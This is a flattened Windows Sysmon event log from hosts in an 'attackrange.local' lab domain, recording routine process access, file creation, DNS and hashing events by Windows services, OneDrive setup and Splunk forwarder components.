14:44:20.633{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:20.617{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:20.555{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:20.555{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000042895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.414{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Qml.dll2021-09-10 14:44:20.414 11241100x800000000000000042894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.414{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-namedpipe-l1-1-0.dll2021-09-10 14:44:20.414 11241100x800000000000000042893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.414{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ETWlog.dll2021-09-10 14:44:20.383 354300x800000000000000042892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.220{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55106- 354300x800000000000000042891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.220{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59850- 11241100x800000000000000042890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.398{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-math-l1-1-0.dll2021-09-10 14:44:20.336 10341000x800000000000000042889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:20.305{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F44-613B-0809-00000000F001}6656C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:20.305{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F44-613B-0809-00000000F001}6656C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000042887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:20.135{7BD73061-6F44-613B-0809-00000000F001}6656C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000013826Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:21.333{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D9891102EFC858D4ED4B5B3C636AF4E3,SHA256=843F30A43BF8F512263649E248E1BF8948F34DF566C43304BB07520B1593AA4B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.758{7BD73061-6F44-613B-0809-00000000F001}66564948C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000042959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:44:22.726{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe2021-09-10 14:44:22.601 10341000x800000000000000042958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.711{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+3f342|C:\Windows\System32\modernexecserver.dll+3fc6e|C:\Windows\SYSTEM32\twinapi.appcore.dll+2effb|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357b5|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.711{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f0db|C:\Windows\System32\modernexecserver.dll+3fbe5|C:\Windows\SYSTEM32\twinapi.appcore.dll+2effb|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357b5|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000042956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:22.680{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\libGLESv2.dll2021-09-10 14:44:22.570 10341000x800000000000000042955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.680{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f0db|C:\Windows\System32\modernexecserver.dll+3f049|C:\Windows\System32\modernexecserver.dll+3fd2f|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.617{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f6a2|C:\Windows\System32\modernexecserver.dll+3fd1e|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.617{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+3f342|C:\Windows\System32\modernexecserver.dll+3fd0b|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.617{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3fdee|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.523{7BD73061-6D0E-613B-8B06-00000000F001}45002724C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f400|C:\Windows\System32\modernexecserver.dll+47a8c|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 10341000x800000000000000042950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.523{7BD73061-6D0E-613B-8B06-00000000F001}45002724C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+478ab|C:\Windows\System32\modernexecserver.dll+476e0|C:\Windows\System32\modernexecserver.dll+4763b|C:\Windows\System32\modernexecserver.dll+3985d|C:\Windows\System32\Windows.Shell.ServiceHostBuilder.dll+1781|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c 23542300x800000000000000042949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.336{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2A0633F54EB2F5FF2902793920E3E1D5,SHA256=551F07968AACFFADDC61147D853F6DD4E3F2A6FE387FD9AC5E683D68AC6366C8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.336{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSI7EB7.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.336{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=91DBAE647150E9D47116AE675885B5AA,SHA256=8F93CC499A631F878CAE336200BBEB43981329C68D1161B4131DED94185B7676,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.289{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F45-613B-0A09-00000000F001}6992C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000042945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:22.242{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-utility-l1-1-0.dll2021-09-10 14:44:22.242 11241100x800000000000000042944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:22.242{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5QuickControls2.dll2021-09-10 14:44:22.242 11241100x800000000000000042943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:22.242{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\libEGL.dll2021-09-10 14:44:22.226 10341000x800000000000000042942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.226{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F43-613B-0709-00000000F001}224C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000042941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:22.133{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncClient.dll2021-09-10 14:44:22.086 11241100x800000000000000042940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:22.055{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-time-l1-1-0.dll2021-09-10 14:44:22.055 10341000x800000000000000042939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.008{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.008{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 